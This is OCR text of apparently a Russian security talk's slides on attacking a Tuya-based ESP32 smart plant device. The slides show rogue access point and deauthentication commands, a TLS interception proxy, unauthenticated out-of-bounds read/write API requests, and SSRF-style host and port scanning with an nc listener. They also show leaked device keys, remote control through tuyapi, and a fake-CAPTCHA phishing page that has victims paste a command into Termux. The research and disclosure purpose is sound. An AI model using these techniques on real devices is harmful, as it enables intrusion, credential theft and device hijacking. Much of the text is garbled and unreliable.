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01 Xenesku

<> 'LIENIb| TexHuueckas nHpopmaums

=  MukpokoHTponnep ESP32

- WiFi + Bluetooth
- [Mpoueccop Xtensa L6

- 448kB ROM + 8MB PSRAM +
8MB SRAM + 16MB FLASH

« Kaptanamatn eMMC

eHcopbl! KHonk
ONCTIEN!

espressif.com: ESP32WROVERE Datasheet



https://espressif.com/

02: CeTb

<> 'LLENIb| 3anpocbl K cepBepam

= sudo hostapd /etc/hostapd/hostapd.conf

= sudo dnsmasg -k --interface {interface}
--dhcp-range={fromIP},{toIP} --log-debug
--log-dhcp --log-queries
--log-facility=-

= aireplay-ng -0 {n} -a {accessPointMAC}
-¢ {clientMAC} {interface}

mitmdump --mode transparent --showhost
--ssl-insecure --flow-detail {n} - -

3ANYCK + OBHOBNEHUE ()]

./mitmdump --mode transparent --showhost --ssl-insecure --flow-detail 2 --allow-hosts

[O1:
[B1:
[O1:
192.

<<

55:43.205] Transparent Proxy listening at *:8080.
56:34.379][192.168.13.190:64546] client connect
56:34.578][192.168.13.190:64546] server connec 3
168.13.190:64546: GET https:// /sign-in

Host:

User-Agent: ESP32HTTPClient

Connection: keep-alive

Accept-Encoding: identity;q=1,chunked;q=0.1,*;q=0

Auth: {"id": "l—C" ,"key": na-n}

200 OK 13b

Content-Type: application/json

Content-Length: 13

Connection: keep-alive

Access~-Control-Allow-Origin: *

Access-Control-Allow-Headers: Access-Control-Allow-Methods,Access-Control-Allow-0

1-Allow-Headers,Content-Type,X-Requested-By

[O1:
[01:
[B1:
[O1:
[e1:
[01:

192.

<<

Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS
Access-Control-Allow-Credentials: true

Etag:

56:37.339][192.168.13.190:64546] client disconnect
56:37.341][192.168.13.190:64546] server disconnect [N : 443
56:37.349][192.168.13.190:64547] client connect
56:37.556][192.168.13.190:64547] server connect [NEGNE: 443
56:39.819]1[192.168.13.190:64548] client connect
56:39.878][192.168.13.190:64548] server connect [NEGEEEE: 443

168.13.190:64547: POST https://.  /geo-info
Host: [N

User-Agent: ESP32HTTPClient

Connection: keep-alive

Accept-Encoding: identity;q=1,chunked;q=0.1,*;9=0
Auth: {n-id" . "l_C" . llkeyn : ua-u}
Content-Length: 31

200 OK 157b

[ ,

Content-Type: application/json
Content-Length: 157



& - (& © Hezauwpumeno hips:// w & D -

CeTb

e

[01:56:34.578][192.168.13.190:64546] server connect : . 1443 HOAKHPOHEHVIE He 3alMLLEHO

192.168.13.190:64546: GET https:// /sign—-in
Host: BO3MOXHO, 310YMbILWNEHHWUKW NbITAIOTCA NOXUTUTL Bally MHPOPMAaLMIO C CalTa
User-Agent: ESP32HTTPClient , HaNpUMep Napoau, coobweHna 1 AaHHble KpeauTHbIX KapT. [NoapobHee
Connection: keep-alive 06 3Tom NpeAynpexaeHuu...

NET:ERR_CERT_AUTHORITY_INVALID

ol
-
| _-" HOononHuTtesnbHbie BepHyTbca Kk 6e30nacHoii cTpaHuue
-
-
AUTH ' -

[ -

|

|

1

-7 \_(V)_/T

-ik 'https://SERVER/PATH/' -H *  MnepcoHaums KIMeHTa

'XSJECJE-AQGH’CI ESP32HTTPClient' -H > W3BneyeHme ¢aitnos 06GHOBNEHN
1 U : 1

=  iMnepcoHaums cepeepa 06HOBMEHWIA

3AMPOCH| - [NogmMeHa oObHOBNEHUI



© ®NOUAWN =

- Beb-npunoxenue. .

UENb| Ysaseumoctn (?)

SET_PROPERTY
GET_PROPERTY
GET_SNAPSHOT
CUSTOM_ANIMATION
CUSTOM_VIDEO
ANIMATION_MODE
ANIMATION_GROUP
DELETE_ANIMATION




03: Beb-npunoyxeHue

<> [LIENIb| MonyyaTb OTKPbITKY :)

] :~$ 192.168.XXX.YYY
@) :~> plant.qwgoro.works

Me inside your walls (it's very cozy
in here. DONT GO IN THE ATTIC)
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Be6-npunoxeHne .

[OOPS] Hert ayTeHtuduraumm (!) = GET_PROPERTY

Request "
pfeny RJ W H ex
1 POST /control HTTP/1.1

. CUSTOM_ANIMATION 2 Host: plant.qwqoro.works

_ Content-Type: application/json
CUSTOM_VIDEO CMTyALI,Mﬂ PE3yanAT Content-Length: 25

6 {

"cmd":9
"HekoppekTHoe" He oTBeyaeT + "i&mva,
3Ha4yeHne Reboot . o jefd
WHoekc 3a | Memory O € > sen
npenenamn | Corruption
MaccuBa | + He oTBevaeT Response
He oTBevyaeT +
Flood Reboot
NMponsBonbHble | HeKoOppeKTHas
HacTpoukn | paboTa
Waiting
HAPYLLUEHUA PABOTDI

DEFACEMENT ...

—_—

‘‘‘‘‘

109




03; Beb-npunoxeHne

Q

< tooes Lo () OGRS

ECTb XOCT
HeT nopTa

= TCP_CONNECT

ECTb XOCT
ECTb XOCT

Request v }Payload 1 Payload 2 }Status code }Response received

10 192.168.0.119
9 192.168.0.118
8 192.168.0.117
7 192.168.0.116
6 192.168.0.115

1337
1337
1337
1337
1337

200
200
200
200
200

3028
3028
69
36
3024

11 of 21

(kali® kali)-[~]
I—_$ nc -nlvp 1337

listening on [any] 1337 ...
connect to [192.168.0.120] from (UNKNOWN) [192.168.0

]
(01 BPYT XOCTA (192.168.0.120)
// €CJIN TaKOIro XoCta HeT = 3ce|<pr,b|

Request v ‘Payload 1

@ HeT XocTa

‘Payload 2 ‘Status code Response received

16
15
14
13
12

192.168.0.120
192.168.0.120
192.168.0.120
192.168.0.120
192.168.0.120

1342
1341
1340
1339
1338

200
200
200
200
200

14
15
14
15
19

1 6 o 21—

I_—(kali@ kali)-[~]
$

nc -nlvp 1337

listening on [any] 1337 .
connect to [192.168.0.120] from (UNKNOWN) [192.168.0.

q
02

//

BPYT NMOPTA

nocne nogknoveHnsa = <20 MUNUceKyHpA,

(1337)

11



Beb-npunoxeHue

I
= GET_PROPERTY -
Payload Status code Length "value™:
[
: 10 200 262 80
7 11 200 261 1
Request Response ' 200 20 0
2B n = m . = 13 200 261 0
Pretty Raw == = Pretty Raw Hex — = 14 200 268 20230410
1 POST /control HTTP/1.1 9 .
5> Host: plant.quqoro.works | 10/ [1,100, 100 #@E ™m0 0,1,80,1,0,0, 15 200 261 0
3 Content-Type: 20230410! ,4,0,0,0,0,0,0,0, 16 200 270 1692933546
application/json l32,34,@,0,"' ot ,0,0,6,7,50,10,5,1, =
4 Content-Length: 9 1724610378,0,0,0,0,465,438,300,3,0,0,0,1,0 Request Response
5 ,300,20000,0,800,3360,0,1,0,0,0,1320,540,0 _ . — _
6| ,0,0,10,1,1,1,1,1,1,1,303100,599600,0,0,0, Pretty = Raw  Hex QB W0n = Pretty Raw v 3 W =
e T oy, L TS el WTPAL S At Gt
. 127 ' : Credentials: true
27.703039169311523 ,163 . 19444274902341 Sobeer b g il e n control-Allow—
139.76190185546875,0.0,0.0,40.0,1.0,10.0), : : : Origin: %
| 0.0,0.0] application/json rigin:
: 4 Content-Length: 20 7 Connection: close
CHAMWOT 0
6 1
"emd":1,
"param":16 "value":
} 1692933546

12



Beb-npunoxeHue

'OOPS| Ytenue/3anucbBnamsatb (!)

SET_PROPERTY
GET_PROPERTY

\4

Request Response
Pretty = Raw  Hex RS \n = Pretty Raw v = \n =
1 POST /control HTTP/1.1 5 Access-gontrol—Allow—
2 Host: plant.qwqoro.works Credentials: true
3 Content-Type: 6 Ac;eﬁs—Control—Allow—

application/json Origin: *
4y Content-Length: 20 7 Connection: close
5 8 Accept—-Ranges: none
6|1

Pend®: AN

"param" :-13337 "value":

131080

YTEHUE BHE MACCUBA

Request

Pretty Raw Hex QS n =

1 POST /control HTTP/1.1
Host: plant.qwqoro.works
Content-Type:
application/json

w N

4 Content-Length: 20
5
6 {
"emd":1,
"param":-1337
}

1 POST /control HTTP/1.1

2 | Host: plant.qgwgoro.works

3 | Content-Type: application/json

4 Content-Length: 36

5

6 {
"cmd":0,
"param" :-1337,
"value":1337

}

1 POST /control HTTP/1.1
Host: plant.qwqoro.works
3 Content-Type:
application/json
Content-Length: 20

N

o =

6 {
Yemd®:d,
"param":-1337

3AMNMNCb BHE MACCUVBA

Response

Pretty Raw v = \n =

5 Access-Control-Allow-
Credentials: true

6 Access—Control-Allow-
Origin: =*

7 Connection: close
8 Accept-Ranges: none
9
10 {
"value":
0]
} I
|
|
|
|
|
|
|
|
|
|
|

5 Access—-Control-Allow-
Credentials: true

6 Access—-Control-Allow-
Origin: *

7 Connection: close
8 Accept-Ranges: none
9
10 {
"value":
1337
}

13



Beb-npunoxeHue

'OOPS| Ytenue/3anucbBnamsatb (!)

SET_PROPERTY
GET_PROPERTY

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

Mx]

Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting
Requesting

1707:
1708:
1709:
1710:
1711:
1712:
1713:
1714:
1715:
1716:
1717:
1718:
1719:
1720:
1721:
1722:
1723:
1724:
1725:
1726:
1727:
1728:
1729:

value
value
value
value
value
value
value
value
value
value
value
value
value
value
value
value
value
value
value
value
value
value
value

0000000 0e 0 e e

s = s s = = = = = = = =
000000000 e e

.0
8.

696807753949543e-07

4147279298560.0
KhkkkAKKREAKKKK K

* ¥ N = 0O

.1074076790964364e+30
.866362475191604e-44
.364017852116376e-08
.6911107798668667e+22
.0431564871984742e+20
ERKEREKAREAKRE AR KO+ kK
SERKAREAREARE AR KO+ kK

40000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
000000a0
000000b0
000000cC0o
000000d0
*

00000120
00000130
00000140
00000150
00000160
*

00000190
000001a0
000001b0

00
75
35
7a
36
00
00
4e
75
2a
00
31
00

00
b6C
00
31
00

02
31

00
75
37
61
65
00
00
30
4La
2a
00
32
00

00
64
00
00
00

74
00

00
69
61
36
33
00
00
35
48
2a
00
33
00

00
69
00
00
00

69
00

00
64
38
45
74
00
00
6d
75
2a
00
31
00

00
be
00
00
00

35
00

01
34
00
2a
4d
00
00
2a
38
2a
00
2a
00

06
67
00
00
00

47
00

00
63
00
2a
67
00
00
2a
32
2a
00
2a
00

00
73
00
00
00

67
62

00
65
00
2a
4a
00
00
2a
69
2a
00
2a
00

4d
00
00
00
00

71
66

00
64
00
2a
67
00
00
2a
63
2a
00
2a
00

69
00
61
00
00

54
Bl

PABOTA CKPUMTA

00
31
00
2a
61
00
00
2a
4e
79
00
00
00

6b
00
69
00
00

2a
31

00
33
00
2a
74
00
00
2a
35
00
00
00
00

68
00
63
00
00

2a
30

00
36
6b
2a
70
00
00
2a
41
00
00
00
00

65
00
68
00
00

2a
65

00
35
34
2a
44
00
47
2a
00
00
00
00
00

65
00
61
00
00

2a
64

00
2a
46
2a
65
00
35
4a
53
00
00
00
00

76
00
2a
00
00

00
30

YHACTOK NMAMATU
00 00 00 |.....vvvvuunnnnn |
2a 2a 2a |uuid4cedl1365***x*|
74 55 71 [57a8...... k&FtUq |
2a 2a 2a | zaBExkkkkkkkkkkk |
6f 6d 00 |6e3tMglgatpDeom. |
00 00 00 |....vvuueunnnnnn |
56 4C 33 |...iiiiin.. G5VL3 |
74 42 6b | NOSmMx*****x*JtBK |
6d 61 72 |uJHu82iclL5A.Smar|
00 00 00 |**xkkdkky....... |
69 63 6C |.uvvirvnrnnnnn icll
00 00 00 |1231%***........ |
00 00 00 |...vvviruunnunnn |
20 48 6f |...... Mikheev Ho|
00 00 00 |ldings.......... |
23 282 238 |eeennn. aichaxx*x |
00 00 00 |1.....00vuuuunnn |
00 00 00 |..vvvvununnnnnnn |
5f 4f 72 |.ti5GgqT****._Or|
37 31 61 |1....bf310ed071a]|

14



Query Device Details @

Parameter (Request
Method: GET)

Params
* device_id @ :

bf310

YenHum

OOPS| YTeukauHdopmaumm (! )

View Docs Locate Errors

Response

{

"result": {
"active_time": 1724624243,
"bind_space_id": "1
"category": "qt",
“"create_time": 1724624244,
"custom_name": "",
"icon": “smart/icon/
"id": "bf310
"ip": "178. "
"is_online": true,
*1at: "59:967;

"local_key": " )a2Rre",

*lon™::"30.31",

“model”: " A

"name": "

"product_id": "8n3q@y
"product_name": "

“sub": false,

"time_zone": "+03:00",
"update_time": 1724624249,
"uuid": "uwuid4

¥

platform.tuya.com: Cloud APIExplorer

pal®,

UUID

KEY + HASBAHUE
NMPOAOYKTA

M4 +
MAPOJ1b WI-FI

DEVICE
MWOEHTUDPUKATOP

PRODUCT
WOEHTUNDPUNKATOP

LOCAL KEY

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
000000a0
000000b0
000000cCO
000000d0
*

00000120
00000130
00000140
00000150
00000160
*

00000190
000001a0
000001b0
000001co
000001d0
000001e0
000001f0
00000200
00000210
00000220
00000230
00000240
00000250
*

0000020
00000300
00000310
00000320

|luuid4ced1365%%*x|
|57a8...... k4FtUq|
| ZABE* %k kkkkkkkkx |

|6e3tMgIgatpDeom. |

| NOSM**%*%*%%%ItBK |
|uJHu82iclL5A.Smar

| .ti5GgqT***x*. Or|
[1....bf310ed@71a|
| ****x**xxpal....1|
[.1.19..... 40.00. |

| .8N3qOyL*kk*kksk|
| t.8n3qOy****kkkx |
|xt.1.1.19.....00]
|0004Xjwp. . ov ... |
P A O s R

I

............:p?b
| KDUB*** %% %44k k** |
| x%%***x*x*)a2R0

15


https://eu.platform.tuya.com/

04: YenHnm

<> 'UENb| Bsnom

PORT STATE SERVICE
80/tcp open http
6668/tcp open ire

\

O

MNOPT A MPOTOKON

OYHKUUA

6608 UDP

MynbTuwnwsosbii RPC

6667 UDP

O6HapyxeHune B LAN

support.tuya.com: TuyaOS Gateway Development

github.com/codetheweb/tuyapi: TuyAPI

Installation

npm install codetheweb/tuyapi

Basic Usage

See the setup instructions for how to find the needed parameters.

These examples should report the current status, set the default property to the
opposite of what it currently is, then report the changed status. They will need to be
adapted if your device does not have a boolean property at index 1 (i.e. it doesn't have
an on/off property). Index 20 seems to be another somewhat common on/off property.

Asynchronous (event based, recommended)

const TuyAPI = require('tuyapi'); d;

const device = new TuyAPI({

A OO0 ",
key:

T IOCOOOUCOOOOCEX ' ) 5

let stateHasChanged = fTalse;

/4 Find dewice on network

device.ftind().then({) => {
/4 Connect to device
device.connect();

1)

S/ Add event listeners
device.on({ 'connected’', () == {
console. log("Connected to device!'); 16

1)


https://support.tuya.com/
https://github.com/codetheweb/tuyapi

©©®NOUAWLN S

S

L-I e l‘/" H M M ®dPArMEHT CKPUMNTA

device.on("connected", () => {

OOPS| YpanéHHoe ynpaBneHune const £ = () => {
device
.set({
P dps: ,
BRIGHTNESS -7 set: :
e houldWaitForR . false, .~
LIGHT /// }.)? ouldWaitFor esponse d S/e//
/// }'; 7 N
TEMPERATURE et setTimeout(f, 1000); Rl ot iy
HUMIDITY R Y =\
WATER_LEVEL <
BATTERY_LEVEL 1/
SUSUER AR 1. HOME_BUTTON 5. REBOOT
UIERLI A AOIR AT L 2. LEFT_BUTTON 6. UPDATE
UPDATE 3. RIGHT_BUTTON 7. POWER_BUTTON
4. BACK_HOME 8.

KOMAH[ODbI

17



Browser Redirect

Due to access restrictions, please click the button below and jump
to the default browser for editing.

YenHum

OOPS | MNopgmeHa napameTpoB

Customize on a PC

= VERSION_INFORMATION

Instructions

PPAITMEHT CKPUINTA

http://192.168.0.107/custom-anim @

device.on("connected", () => {
const . f= ( ) => { http://test.qwqoro.works/index.html?x= 0
device /custom-anim L
.set({ ) ~
d PS. 1 2 :
set: CPABHEHUE

shouldWaitForResponse: false,

P);
b

setTimeout(f, 1000);
B
NMPUMEP ®PULLUNHT A

O

+

A test.gwqgoro.works/index.htn

B

Plants vs. Bugs

MpoBepsieMm, 4TO Bbl He po6oT.

BbinonHute gencreuns

Bepudukauus

YT06bl NOATBEPAMUTD, YTO Bbl He po6oT,
noxanyncra:

1. YcTaHoBuUTe npuioxeHne Termux .

2. B npunoxeHun Termux, KOCHUTECH
9KpaHa 1 3afepXXuTe Ha HEM naneu,
Bbi6epuTe BcTaBUTD.

. HaxmuTe KHOMKY BBOfla Ha KNiaBuaTtype
ANA 3aBepLUeHUs npoLiecca BepuduKaLmm.

. MNognuwuteck Ha Telegram KaHan
HaHacking %

Bbl yBUAETe NOX0Xee COObLLEHME:
"reCAPTCHA verification ID: 1064"

BbinosHUTE Wwarwy,
onucaHHble Bbille, YTOObI
NPOWTU NpoLiecc
BepuduKaLuu.




0O5; BbiBOOpbI

O Black box - O YenHuto -
He 6epa! Beceno!

O A NoToMmMy noJsiesHo
aHANU3UpPOBaTb B KOMINeKce

Llaxke ycTporicTBa 6€3 KaMEDbI 1 MUKIPOPOHA
MOryT MPUHECTU MPOoB/IEMBI 10U
HEQOCTATOYHOM BHUMAHWM K 6€30MacHOCTU,




Cnacubo 3a BHMMaHuel

EnnsaBeTta TmmMHa(/ gwgoro )

« Cneumanuct no aHanuay 3awmiéHHocTy, DeteAct

« Bepywinm skcnept, Neplox Audit

= ABTOpP Telegram kaHana HaHacking:

] |

|
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oot |

SlHmekc ~ splockf



